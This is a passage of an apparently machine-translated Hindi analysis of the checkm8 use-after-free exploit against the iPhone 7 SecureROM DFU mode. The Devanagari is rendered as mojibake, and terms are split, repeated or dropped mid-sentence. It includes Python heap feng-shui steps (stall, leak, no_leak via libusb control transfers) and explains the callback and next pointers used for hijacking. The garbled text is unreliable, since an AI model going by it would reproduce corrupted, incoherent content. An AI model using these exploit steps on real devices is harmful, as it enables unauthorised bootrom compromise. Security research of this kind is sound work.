- рдЙрд╕рдХреЗ рдмрд╛рдж usb рдХреЛрдб рд╕рднреА рд╡реЗрд░рд┐рдПрдмрд▓реНрд╕ рдХреЛ рд░реАрд╕реЗрдЯ рдХрд░рддрд╛ рд╣реИ рдФрд░ рдирдП рдкреИрдХреЗрдЬ рдХреЛ рд╣реИрдВрдбрд▓ рдХрд░рддрд╛ рд╣реИ
- рдЕрдЧрд░ dfu рдЗрдирдкреБрдЯ рдЖрдЙрдЯрдкреБрдЯ рдмрдлрд╝рд░ рд╕реЗ рдмрд╛рд╣рд░ рдирд┐рдХрд▓рддрд╛ рд╣реИ рдФрд░ рдпрджрд┐ рдЫрд╡рд┐ рдХрд╛ рдкрд╛рд░реНрд╕рд┐рдВрдЧ рдмреВрдЯреНрд░реЛрдо рд░реЗрдлрд╝рд░реНрд╕ рдбрдлрд╝реВ рдХреЛ рд╡рд┐рдлрд▓ рдХрд░рддрд╛ рд╣реИ
рд╕рдмрд╕реЗ рдкрд╣рд▓реЗ, рд╣рдордиреЗ iBoot
рд╕реНрд░реЛрдд рдХреЛрдб рдХреЗ рд╕рд╛рде рд╡рд░реНрдгрд┐рдд рдЪрд░рдгреЛрдВ рдХреА рддреБрд▓рдирд╛ рдХреАред рдЪреВрдБрдХрд┐ рд╣рдо рд▓реЗрдЦ рдореЗрдВ рд▓реАрдХ рд╣реБрдП рд╕реНрд░реЛрдд рдХреЛрдб рдХреЗ рдЯреБрдХрдбрд╝реЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдирд╣реАрдВ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ, рд╣рдо IDA
рдореЗрдВ рд╣рдорд╛рд░реЗ iPhone 7
рд░рд┐рд╡рд░реНрд╕ рдЗрдВрдЬреАрдирд┐рдпрд░рд┐рдВрдЧ рдХреЗ SecureROM
рджреНрд╡рд╛рд░рд╛ рдкреНрд░рд╛рдкреНрдд SecureROM
рдХреЛ SecureROM
ред рдЖрдк рдЖрд╕рд╛рдиреА рд╕реЗ iBoot
рдХрд╛ рд╕реЛрд░реНрд╕ рдХреЛрдб рдкрд╛ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ рдЗрд╕реЗ рдиреЗрд╡рд┐рдЧреЗрдЯ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред
рдЬрдм DFU
рдореЛрдб рдХреЛ рдЗрдирд┐рд╢рд┐рдпрд▓рд╛рдЗрдЬрд╝ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдПрдХ IO
рдмрдлрд░ рдЖрд╡рдВрдЯрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдФрд░ DFU
рд▓рд┐рдП рдкреНрд░реЛрд╕реЗрд╕рд┐рдВрдЧ рдЕрдиреБрд░реЛрдзреЛрдВ рдХреЗ рд▓рд┐рдП рдПрдХ USB
рдЗрдВрдЯрд░рдлрд╝реЗрд╕ рдкрдВрдЬреАрдХреГрдд рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ:

рдЬрдм SETUP
рдЕрдиреБрд░реЛрдз рдкреИрдХреЗрдЯ DFU
рдореЗрдВ рдЖрддрд╛ рд╣реИ, рддреЛ рд╕рдВрдмрдВрдзрд┐рдд рдЗрдВрдЯрд░рдлрд╝реЗрд╕ рд╣реИрдВрдбрд▓рд░ рдХрд╣рд╛ рдЬрд╛рддрд╛ рд╣реИред OUT
рдЕрдиреБрд░реЛрдз рдХреЗ рд╕рдлрд▓ рдирд┐рд╖реНрдкрд╛рджрди рдХреЗ рдорд╛рдорд▓реЗ рдореЗрдВ (рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдЫрд╡рд┐ рдХреЛ рд╕реНрдерд╛рдирд╛рдВрддрд░рд┐рдд рдХрд░рддреЗ рд╕рдордп), рд╣реИрдВрдбрд▓рд░ рдХреЛ рд▓реЗрди-рджреЗрди рдХреЗ рд▓рд┐рдП IO
рдмрдлрд░ рдХрд╛ рдкрддрд╛ рдФрд░ рдЙрд╕ рдбреЗрдЯрд╛ рдХреЗ рдЖрдХрд╛рд░ рдХреЛ рд╡рд╛рдкрд╕ рдХрд░рдирд╛ рд╣реЛрдЧрд╛ рдЬрд┐рд╕реЗ рд╡рд╣ рд╕реВрдЪрдХ рджреНрд╡рд╛рд░рд╛ рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреА рдЕрдкреЗрдХреНрд╖рд╛ рдХрд░рддрд╛ рд╣реИред рдЗрд╕ рд╕реНрдерд┐рддрд┐ рдореЗрдВ, рдмрдлрд╝рд░ рдкрддрд╛ рдФрд░ рдЕрдкреЗрдХреНрд╖рд┐рдд рдбреЗрдЯрд╛ рдХрд╛ рдЖрдХрд╛рд░ рд╡реИрд╢реНрд╡рд┐рдХ рдЪрд░ рдореЗрдВ рд╕рдВрдЧреНрд░рд╣реАрдд рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред

DFU
рд▓рд┐рдП рдЗрдВрдЯрд░рдлрд╝реЗрд╕ рд╣реИрдВрдбрд▓рд░ рдиреАрдЪреЗ рд╕реНрдХреНрд░реАрдирд╢реЙрдЯ рдореЗрдВ рджрд┐рдЦрд╛рдпрд╛ рдЧрдпрд╛ рд╣реИред рдпрджрд┐ рдЕрдиреБрд░реЛрдз рд╕рд╣реА рд╣реИ, рддреЛ DFU
рдЖрд░рдВрднреАрдХрд░рдг рдЪрд░рдг рдореЗрдВ рдЖрд╡рдВрдЯрд┐рдд IO
рдмрдлрд░ рдХрд╛ рдкрддрд╛ рдФрд░ рдЕрдкреЗрдХреНрд╖рд┐рдд рдбреЗрдЯрд╛, рдЬреЛ SETUP
рдкреИрдХреЗрдЯ рд╕реЗ рд▓рд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ, рд╕реВрдЪрдХ рджреНрд╡рд╛рд░рд╛ рд╡рд╛рдкрд╕ рдХрд░ рджрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред

Data Stage
рджреМрд░рд╛рди, Data Stage
рдкреНрд░рддреНрдпреЗрдХ рдЯреБрдХрдбрд╝рд╛ IO
рдмрдлрд░ рдХреЛ рд▓рд┐рдЦрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдЬрд┐рд╕рдХреЗ рдмрд╛рдж IO
рдмрдлрд░ рдХрд╛ рдкрддрд╛ рд╕реНрдерд╛рдирд╛рдВрддрд░рд┐рдд рдХрд░ рджрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдФрд░ рдкреНрд░рд╛рдкреНрдд рдбреЗрдЯрд╛ рдХрд╛ рдХрд╛рдЙрдВрдЯрд░ рдЕрдкрдбреЗрдЯ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред рд╕рднреА рдЕрдкреЗрдХреНрд╖рд┐рдд рдбреЗрдЯрд╛ рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреЗ рдмрд╛рдж, рдЗрдВрдЯрд░рдлрд╝реЗрд╕ рдбреЗрдЯрд╛ рд╣реИрдВрдбрд▓рд░ рдХрд╣рд╛ рдЬрд╛рддрд╛ рд╣реИ рдФрд░ рд╡реИрд╢реНрд╡рд┐рдХ рд╕рдВрдЪрд░рдг рд╕реНрдерд┐рддрд┐ рдХреЛ рд╕рд╛рдлрд╝ рдХрд░ рджрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред

DFU
рдбреЗрдЯрд╛ рд╣реИрдВрдбрд▓рд░ рдореЗрдВ, рдкреНрд░рд╛рдкреНрдд рдбреЗрдЯрд╛ рдХреЛ рдореЗрдореЛрд░реА рдХреНрд╖реЗрддреНрд░ рдореЗрдВ рд▓реЗ рдЬрд╛рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдЬрд╣рд╛рдВ рд╕реЗ рдбрд╛рдЙрдирд▓реЛрдб рдЬрд╛рд░реА рд░рд╣реЗрдЧрд╛ред iBoot
source рдХреЛрдб рдХреЛ рджреЗрдЦрддреЗ рд╣реБрдП Apple
рдЗрд╕ рдореЗрдореЛрд░реА рдПрд░рд┐рдпрд╛ рдХреЛ INSECURE_MEMORY
рдХрд╣рд╛ рдЬрд╛рддрд╛ рд╣реИред

DFU
рдореЛрдб рд╕реЗ рдмрд╛рд╣рд░ рдирд┐рдХрд▓рдиреЗ рдкрд░, рдкрд╣рд▓реЗ рд╕реЗ рдЖрд╡рдВрдЯрд┐рдд IO
рдмрдлрд░ рдХреЛ рдореБрдХреНрдд рдХрд░ рджрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛ред рдпрджрд┐ рдЫрд╡рд┐ рдХреЛ DFU
рдореЛрдб рдореЗрдВ рд╕рдлрд▓рддрд╛рдкреВрд░реНрд╡рдХ рдкреНрд░рд╛рдкреНрдд рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛, рддреЛ рдЗрд╕реЗ рдЪреЗрдХ рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛ рдФрд░ рд▓реЛрдб рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛ред рдпрджрд┐, DFU
рдореЛрдб рдХреЗ рд╕рдВрдЪрд╛рд▓рди рдХреЗ рджреМрд░рд╛рди, рдХреБрдЫ рддреНрд░реБрдЯрд┐ рд╣реБрдИ рдпрд╛ рдкрд░рд┐рдгрд╛рдореА рдЫрд╡рд┐ рдХреЛ рд▓реЛрдб рдХрд░рдирд╛ рдЕрд╕рдВрднрд╡ рд╣реИ, рддреЛ DFU
рдХреЛ рдлрд┐рд░ рд╕реЗ DFU
рдЬрд╛рдПрдЧрд╛ рдФрд░ рд╕рдм рдХреБрдЫ рдлрд┐рд░ рд╕реЗ рд╢реБрд░реВ рд╣реЛ рдЬрд╛рдПрдЧрд╛ред
рд╡рд░реНрдгрд┐рдд рдПрд▓реНрдЧреЛрд░рд┐рдереНрдо рдореЗрдВ use-after-free
рднреЗрджреНрдпрддрд╛ рдирд┐рд╣рд┐рдд рд╣реИред рдпрджрд┐ рдмреВрдЯ рдкрд░, рдПрдХ SETUP
рдкреИрдХреЗрдЯ рднреЗрдЬреЗрдВ рдФрд░ Data Stage
рдХреЛ рдЫреЛрдбрд╝ рдХрд░ рд▓реЗрди-рджреЗрди рдкреВрд░рд╛ рдХрд░реЗрдВ, рддреЛ рд╡реИрд╢реНрд╡рд┐рдХ рд╕реНрдерд┐рддрд┐ DFU
рдЪрдХреНрд░ рдореЗрдВ рдлрд┐рд░ рд╕реЗ рдкреНрд░рд╡реЗрд╢ рдХрд░рдиреЗ рдкрд░ рдЖрд░рдВрднрд┐рдХ рд░рд╣реЗрдЧреА, рдФрд░ рд╣рдо рдкрд┐рдЫрд▓реЗ DFU
рдкреБрдирд░рд╛рд╡реГрддреНрддрд┐ рдореЗрдВ рдЖрд╡рдВрдЯрд┐рдд IO
рдмрдлрд░ рдХреЗ рдкрддреЗ рдкрд░ рд▓рд┐рдЦ рд╕рдХреЗрдВрдЧреЗред
use-after-free
рднреЗрджреНрдпрддрд╛ рд╕реЗ рдирд┐рдкрдЯрдиреЗ рдХреЗ use-after-free
, рд╣рдордиреЗ рд╕реЛрдЪрд╛: рдореИрдВ DFU
рдХреЗ рдЕрдЧрд▓реЗ рдкреБрдирд░рд╛рд╡реГрддреНрддрд┐ рдХреЗ рджреМрд░рд╛рди рдХреБрдЫ рдХреИрд╕реЗ рд▓рд┐рдЦ рд╕рдХрддрд╛ рд╣реВрдВ? рд╕рдм рдХреЗ рдмрд╛рдж, DFU
рдлрд┐рд░ рд╕реЗ рд╢реБрд░реВ рдХрд░рдиреЗ рд╕реЗ рдкрд╣рд▓реЗ DFU
рдкрд╣рд▓реЗ рд╕реЗ рдЖрд╡рдВрдЯрд┐рдд рд╕рднреА рд╕рдВрд╕рд╛рдзрдиреЛрдВ рдХреЛ рдореБрдХреНрдд рдХрд░ рджрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ, рдФрд░ рдирдП рдкреБрдирд░рд╛рд╡реГрддреНрддрд┐ рдореЗрдВ рдореЗрдореЛрд░реА рд╕реНрдерд╛рди рдмрд┐рд▓реНрдХреБрд▓ рд╕рдорд╛рди рд╣реЛрдирд╛ рдЪрд╛рд╣рд┐рдПред рдпрд╣ рдкрддрд╛ рдЪрд▓рд╛ рд╣реИ рдХрд┐ рдПрдХ рдФрд░ рджрд┐рд▓рдЪрд╕реНрдк рдФрд░ рд╕реБрдВрджрд░ рд╕реБрдВрджрд░ рдореЗрдореЛрд░реА рд▓реАрдХ рддреНрд░реБрдЯрд┐ рд╣реИ рдЬреЛ use-after-free
рднреЗрджреНрдпрддрд╛ use-after-free
рд╢реЛрд╖рдг рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддреА рд╣реИ, рдЬрд┐рд╕реЗ рд╣рдо рдмрд╛рдж рдореЗрдВ рдЪрд░реНрдЪрд╛ рдХрд░реЗрдВрдЧреЗред
Checkm8 рд╡рд┐рд╢реНрд▓реЗрд╖рдг
рд╣рдо рд╕реАрдзреЗ checkm8
рд╢реЛрд╖рдг рдХреЗ рд╡рд┐рд╢реНрд▓реЗрд╖рдг рдХреЗ рд▓рд┐рдП рдЖрдЧреЗ рдмрдврд╝рддреЗ рд╣реИрдВред рд╕рд╛рджрдЧреА рдХреЗ рд▓рд┐рдП, рд╣рдо iPhone 7
рд▓рд┐рдП рд╢реЛрд╖рдг рдХреЗ рдПрдХ рд╕рдВрд╢реЛрдзрд┐рдд рд╕рдВрд╕реНрдХрд░рдг рдХрд╛ рд╡рд┐рд╢реНрд▓реЗрд╖рдг рдХрд░реЗрдВрдЧреЗ, рдЬрд┐рд╕рдореЗрдВ рдЕрдиреНрдп рдкреНрд▓реЗрдЯрдлрд╛рд░реНрдореЛрдВ рдХреЗ рд╕рд╛рде рдЬреБрдбрд╝реЗ рдХреЛрдб рдХреЛ рд╣рдЯрд╛ рджрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ, рд╢реЛрд╖рдг рдХреЛ рдЦреЛрдП рдмрд┐рдирд╛ USB
рдЕрдиреБрд░реЛрдзреЛрдВ рдХреЗ рдЕрдиреБрдХреНрд░рдо рдФрд░ рдкреНрд░рдХрд╛рд░реЛрдВ рдХреЛ рдмрджрд▓ рджрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИред рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛ рдЗрд╕ рд╕рдВрд╕реНрдХрд░рдг рдореЗрдВ рдкреЗрд▓реЛрдб рдХреЗ рдирд┐рд░реНрдорд╛рдг рдХреА рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЛ рд╣рдЯрд╛ рджрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ, рдЗрд╕реЗ рдореВрд▓ checkm8.py
рдлрд╝рд╛рдЗрд▓ рдореЗрдВ рдкрд╛рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рдЕрдиреНрдп рдЙрдкрдХрд░рдгреЛрдВ рдХреЗ рд▓рд┐рдП рд╕рдВрд╕реНрдХрд░рдгреЛрдВ рдХреЗ рдмреАрдЪ рдЕрдВрддрд░ рдХреЛ рд╕рдордЭрдирд╛ рдореБрд╢реНрдХрд┐рд▓ рдирд╣реАрдВ рд╣реЛрдирд╛ рдЪрд╛рд╣рд┐рдПред
checkm8
рдХрд╛рд░реНрдп рдХреЛ рдХрдИ рдЪрд░рдгреЛрдВ рдореЗрдВ рд╡рд┐рднрд╛рдЬрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ:
- рдвреЗрд░ рдХреА рддреИрдпрд╛рд░реА (
heap feng-shui
) - рд╡реИрд╢реНрд╡рд┐рдХ рд░рд╛рдЬреНрдп рдХреЛ рдордВрдЬреВрд░реА рдХреЗ рдмрд┐рдирд╛
IO
рдмрдлрд░ рдХрд╛ рдЖрд╡рдВрдЯрди рдФрд░ рд░рд┐рд▓реАрдЬ use-after-free
рд╕рд╛рде рдвреЗрд░ рдкрд░ usb_device_io_request
- рдкреЗрд▓реЛрдб рдкреНрд▓реЗрд╕рдореЗрдВрдЯ
callback-chain
рдирд┐рд╖реНрдкрд╛рджрдиshellcode
рдирд┐рд╖реНрдкрд╛рджрди
рдкреНрд░рддреНрдпреЗрдХ рдЪрд░рдг рдкрд░ рд╡рд┐рд╕реНрддрд╛рд░ рд╕реЗ рд╡рд┐рдЪрд╛рд░ рдХрд░реЗрдВред
1. рдвреЗрд░ рдХреА рддреИрдпрд╛рд░реА (рдвреЗрд░ рдлреЗрдВрдЧ-рд╢реБрдИ)
рдпрд╣ рд╣рдореЗрдВ рд▓рдЧрддрд╛ рд╣реИ рдХрд┐ рдпрд╣ рд╕рдмрд╕реЗ рджрд┐рд▓рдЪрд╕реНрдк рдЪрд░рдг рд╣реИ, рдФрд░ рд╣рдордиреЗ рдЗрд╕ рдкрд░ рд╡рд┐рд╢реЗрд╖ рдзреНрдпрд╛рди рджрд┐рдпрд╛ред
stall(device) leak(device) for i in range(6): no_leak(device) dfu.usb_reset(device) dfu.release_device(device)
рдпрд╣ рдХрджрдо use-after-free
рд╕рдВрдЪрд╛рд▓рди рдХреЗ рд▓рд┐рдП рдПрдХ рд╕реБрд╡рд┐рдзрд╛рдЬрдирдХ рдвреЗрд░ рд░рд╛рдЬреНрдп рдХреЛ рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЖрд╡рд╢реНрдпрдХ рд╣реИред рд╢реБрд░реВ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рдХреЙрд▓ stall
, leak
, no_leak
рд╡рд┐рдЪрд╛рд░ рдХрд░реЗрдВ:
def stall(device): libusb1_async_ctrl_transfer(device, 0x80, 6, 0x304, 0x40A, 'A' * 0xC0, 0.00001) def leak(device): libusb1_no_error_ctrl_transfer(device, 0x80, 6, 0x304, 0x40A, 0xC0, 1) def no_leak(device): libusb1_no_error_ctrl_transfer(device, 0x80, 6, 0x304, 0x40A, 0xC1, 1)
libusb1_no_error_ctrl_transfer
рдкрд░ рдПрдХ рдЖрд╡рд░рдг рд╣реИред рдЕрдиреБрд░реЛрдз рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рддреЗ рд╕рдордп рд╣реБрдИ рдХрд┐рд╕реА рднреА рдЕрдкрд╡рд╛рдж рдХреЛ рдЕрдирджреЗрдЦрд╛ рдХрд░рдиреЗ рдХреЗ рд╕рд╛рдеред libusb1_async_ctrl_transfer
- рдЕрддреБрд▓реНрдпрдХрд╛рд▓рд┐рдХ рдХреНрд╡реЗрд░реА рдирд┐рд╖реНрдкрд╛рджрди рдХреЗ рд▓рд┐рдП libusb_submit_transfer
рдлрд╝рдВрдХреНрд╢рди рдХреЛ libusb
рд╕реЗ libusb_submit_transfer
рдХрд░рддрд╛ рд╣реИред
рджреЛрдиреЛрдВ рдХреЙрд▓ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдорд╛рдкрджрдВрдбреЛрдВ рдХреЛ рд╕реНрд╡реАрдХрд╛рд░ рдХрд░рддреЗ рд╣реИрдВ:
- рдбрд┐рд╡рд╛рдЗрд╕ рдХрд╛ рдЙрджрд╛рд╣рд░рдг
SETUP
рдкреИрдХреЗрдЬ рдХреЗ рд▓рд┐рдП рдбреЗрдЯрд╛ (рдЙрдирдХрд╛ рд╡рд┐рд╡рд░рдг рдпрд╣рд╛рдВ рд╣реИ ):
bmRequestType
bRequest
wValue
wIndex
- рдбреЗрдЯрд╛ рдЖрдХрд╛рд░ (
wLength
) рдпрд╛ Data Stage
рд▓рд┐рдП Data Stage
- рдЯрд╛рдЗрдордЖрдЙрдЯ рдХрд╛ рдЕрдиреБрд░реЛрдз рдХрд░реЗрдВ
рддрд░реНрдХ bmRequestType
, bRequest
, wValue
рдФрд░ wIndex
рддреАрдиреЛрдВ рдкреНрд░рдХрд╛рд░ рдХреЗ рдкреНрд░рд╢реНрдиреЛрдВ рдХреЗ рд▓рд┐рдП рд╕рд╛рдорд╛рдиреНрдп рд╣реИрдВред рдЙрдирдХрд╛ рдорддрд▓рдм рд╣реИ:
bmRequestType = 0x80
0b1XXXXXXX
- рдбрд┐рд╡рд╛рдЗрд╕ рд╕реЗ рд╣реЛрд╕реНрдЯ рддрдХ Data Stage
рдХреА рджрд┐рд╢рд╛ (рдбрд┐рд╡рд╛рдЗрд╕ рдЯреВ рд╣реЛрд╕реНрдЯ)0bX00XXXXX
- рдорд╛рдирдХ рдЕрдиреБрд░реЛрдз рдкреНрд░рдХрд╛рд░0bXXX00000
- рдЕрдиреБрд░реЛрдз рдХреЗ рд░рд┐рд╕реАрд╡рд░ - рдбрд┐рд╡рд╛рдЗрд╕
bRequest = 6
- рд╡рд░реНрдгрдирдХрд░реНрддрд╛ рдХреЗ рд▓рд┐рдП рдЕрдиреБрд░реЛрдз ( GET_DESCRIPTOR
)wValue = 0x304
wValueHigh = 0x3
- рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдбрд┐рд╕реНрдХреНрд░рд┐рдкреНрдЯрд░ рдХреЗ рдкреНрд░рдХрд╛рд░ рдХреЛ рдирд┐рд░реНрдзрд╛рд░рд┐рдд рдХрд░рддрд╛ рд╣реИ - рд╕реНрдЯреНрд░рд┐рдВрдЧ ( USB_DT_STRING
)wValueLow = 0x4
рд╕реНрдЯреНрд░рд┐рдВрдЧ рдбрд┐рд╕реНрдХреНрд░рд┐рдкреНрдЯрд░ рдХрд╛ рд╕реВрдЪрдХрд╛рдВрдХ рд╣реИ, 4 рдбрд┐рд╡рд╛рдЗрд╕ рдХреЗ рд╕реАрд░рд┐рдпрд▓ рдирдВрдмрд░ рд╕реЗ рдореЗрд▓ рдЦрд╛рддрд╛ рд╣реИ (рдЗрд╕ рдорд╛рдорд▓реЗ рдореЗрдВ, рд╕реНрдЯреНрд░рд┐рдВрдЧ CPID:8010 CPRV:11 CPFM:03 SCEP:01 BDID:0C ECID:001A40362045E526 IBFL:3C SRTG:[iBoot-2696.0.0.1.33]
)
wIndex = 0x40A
- рд╕реНрдЯреНрд░рд┐рдВрдЧ рднрд╛рд╖рд╛ рдХреА рдкрд╣рдЪрд╛рдирдХрд░реНрддрд╛, рдЗрд╕рдХрд╛ рдорд╛рди рд╕рдВрдЪрд╛рд▓рди рдХреЗ рд▓рд┐рдП рдорд╣рддреНрд╡рдкреВрд░реНрдг рдирд╣реАрдВ рд╣реИ рдФрд░ рдЗрд╕реЗ рдмрджрд▓рд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред
рдЗрди рддреАрди рдЕрдиреБрд░реЛрдзреЛрдВ рдореЗрдВ рд╕реЗ рдХрд┐рд╕реА рдХреЗ рд▓рд┐рдП, 0x30 рдмрд╛рдЗрдЯреНрд╕ рдХреЛ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рд╕рдВрд░рдЪрдирд╛ рдХреЗ рдСрдмреНрдЬреЗрдХреНрдЯ рдХреЗ рд▓рд┐рдП рдвреЗрд░ рдкрд░ рдЖрд╡рдВрдЯрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ:

рдЗрд╕ рдСрдмреНрдЬреЗрдХреНрдЯ рдХреЗ рд╕рдмрд╕реЗ рджрд┐рд▓рдЪрд╕реНрдк рдХреНрд╖реЗрддреНрд░ callback
рдФрд░ next
ред
callback
- рдлрд╝рдВрдХреНрд╢рди рдХреЗ рд▓рд┐рдП рдПрдХ рдкреЙрдЗрдВрдЯрд░ рдЬрд┐рд╕реЗ рдЕрдиреБрд░реЛрдз рдкреВрд░рд╛ рд╣реЛрдиреЗ рдкрд░ рдмреБрд▓рд╛рдпрд╛ рдЬрд╛рдПрдЧрд╛редnext
- рдЙрд╕реА рдкреНрд░рдХрд╛рд░ рдХреЗ рдЕрдЧрд▓реЗ рдСрдмреНрдЬреЗрдХреНрдЯ рдХреЗ рд▓рд┐рдП рдПрдХ рд╕рдВрдХреЗрддрдХ, рдХрддрд╛рд░рдмрджреНрдз рдЕрдиреБрд░реЛрдзреЛрдВ рдХреЗ рд▓рд┐рдП рдЖрд╡рд╢реНрдпрдХред
stall
рдкрд░ рдХреЙрд▓ рдХрд░рдиреЗ рдХреА рдПрдХ рдкреНрд░рдореБрдЦ рд╡рд┐рд╢реЗрд╖рддрд╛ рдЕрдиреБрд░реЛрдз рдХреЗ рдЕрддреБрд▓реНрдпрдХрд╛рд▓рд┐рдХ рдирд┐рд╖реНрдкрд╛рджрди рдХрд╛ рдЙрдкрдпреЛрдЧ рдиреНрдпреВрдирддрдо рдЯрд╛рдЗрдордЖрдЙрдЯ рдХреЗ рд╕рд╛рде рдХрд░рдирд╛ рд╣реИред рдЗрд╕рдХреЗ рдХрд╛рд░рдг, рдпрджрд┐ рдЖрдк рднрд╛рдЧреНрдпрд╢рд╛рд▓реА рд╣реИрдВ, рддреЛ рдЕрдиреБрд░реЛрдз рдУрдПрд╕ рд╕реНрддрд░ рдкрд░ рд░рджреНрдж рдХрд░ рджрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛ рдФрд░ рдирд┐рд╖реНрдкрд╛рджрди рдХрддрд╛рд░ рдореЗрдВ рд░рд╣реЗрдЧрд╛, рдФрд░ рд▓реЗрдирджреЗрди рдкреВрд░рд╛ рдирд╣реАрдВ рд╣реЛрдЧрд╛ред рдЗрд╕реА рд╕рдордп, рдбрд┐рд╡рд╛рдЗрд╕ рд╕рднреА рдЖрдиреЗ рд╡рд╛рд▓реЗ SETUP
рдкреИрдХреЗрдЯ рдХреЛ рд╕реНрд╡реАрдХрд╛рд░ рдХрд░рдирд╛ рдЬрд╛рд░реА рд░рдЦреЗрдЧрд╛ рдФрд░ рдпрджрд┐ рдЖрд╡рд╢реНрдпрдХ рд╣реЛ, рддреЛ рдЙрдиреНрд╣реЗрдВ рдирд┐рд╖реНрдкрд╛рджрди рдХрддрд╛рд░ рдореЗрдВ рд░рдЦреЗрдВред рдмрд╛рдж рдореЗрдВ, Arduino
рдкрд░ рдПрдХ USB
рд╕рд╛рде рдкреНрд░рдпреЛрдЧреЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реБрдП Arduino
рд╣рдо рдпрд╣ рдкрддрд╛ рд▓рдЧрд╛рдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рдереЗ рдХрд┐ рд╕рдлрд▓ рд╕рдВрдЪрд╛рд▓рди рдХреЗ рд▓рд┐рдП рдореЗрдЬрдмрд╛рди рдХреЛ рдПрдХ SETUP
рдкреИрдХреЗрдЯ рдФрд░ рдПрдХ IN
рдЯреЛрдХрди рднреЗрдЬрдирд╛ рдЪрд╛рд╣рд┐рдП, рдЬрд┐рд╕рдХреЗ рдмрд╛рдж рд▓реЗрди-рджреЗрди рдХреЛ рдЯрд╛рдЗрдордЖрдЙрдЯ рджреНрд╡рд╛рд░рд╛ рд░рджреНрдж рдХрд┐рдпрд╛ рдЬрд╛рдирд╛ рдЪрд╛рд╣рд┐рдПред рдпреЛрдЬрдирд╛рдмрджреНрдз рд░реВрдк рд╕реЗ, рдЗрд╕ рддрд░рд╣ рдХреЗ рдЕрдкреВрд░реНрдг рд▓реЗрдирджреЗрди рдХреЛ рдирд┐рдореНрдирд╛рдиреБрд╕рд╛рд░ рджрд░реНрд╢рд╛рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ:

рдмрд╛рдХреА рдЕрдиреБрд░реЛрдз рдХреЗрд╡рд▓ рд▓рдВрдмрд╛рдИ рдореЗрдВ рдФрд░ рдХреЗрд╡рд▓ рдПрдХ рд╕реЗ рднрд┐рдиреНрди рд╣реЛрддреЗ рд╣реИрдВред рддрдереНрдп рдпрд╣ рд╣реИ рдХрд┐ рдорд╛рдирдХ рдкреНрд░рд╢реНрдиреЛрдВ рдХреЗ рд▓рд┐рдП рдПрдХ рдорд╛рдирдХ callback
рд╣реИ рдЬреЛ рдЗрд╕ рддрд░рд╣ рджрд┐рдЦрддрд╛ рд╣реИ:

io_length
рдорд╛рди рдЕрдиреБрд░реЛрдз рдХреЗ SETUP
рдкреИрдХреЗрдЯ рдФрд░ рдЕрдиреБрд░реЛрдзрд┐рдд рд╡рд┐рд╡рд░рдгрдХ рдХреА рдореВрд▓ рд▓рдВрдмрд╛рдИ рдореЗрдВ wLength
рдХреА рдиреНрдпреВрдирддрдо рдХреЗ рдмрд░рд╛рдмрд░ рд╣реИред рдЗрд╕ рддрдереНрдп рдХреЗ рдХрд╛рд░рдг рдХрд┐ рд╡рд┐рд╡рд░рдгрдХ рдХрд╛рдлреА рд▓рдВрдмрд╛ рд╣реИ, рд╣рдо рдЗрд╕рдХреА рд▓рдВрдмрд╛рдИ рдХреЗ рднреАрддрд░ io_length
рдорд╛рди рдХреЛ рдареАрдХ рд╕реЗ рдирд┐рдпрдВрддреНрд░рд┐рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред g_setup_request.wLength
рдХрд╛ рдорд╛рди рдкрд┐рдЫрд▓реЗ SETUP
рдкреИрдХреЗрдЯ рдХреЗ wLength
рдорд╛рди рдХреЗ рдмрд░рд╛рдмрд░ рд╣реИ, рдЗрд╕ рд╕реНрдерд┐рддрд┐ рдореЗрдВ, 0xC1
ред
рдЗрд╕ рдкреНрд░рдХрд╛рд░, stall
рдФрд░ leak
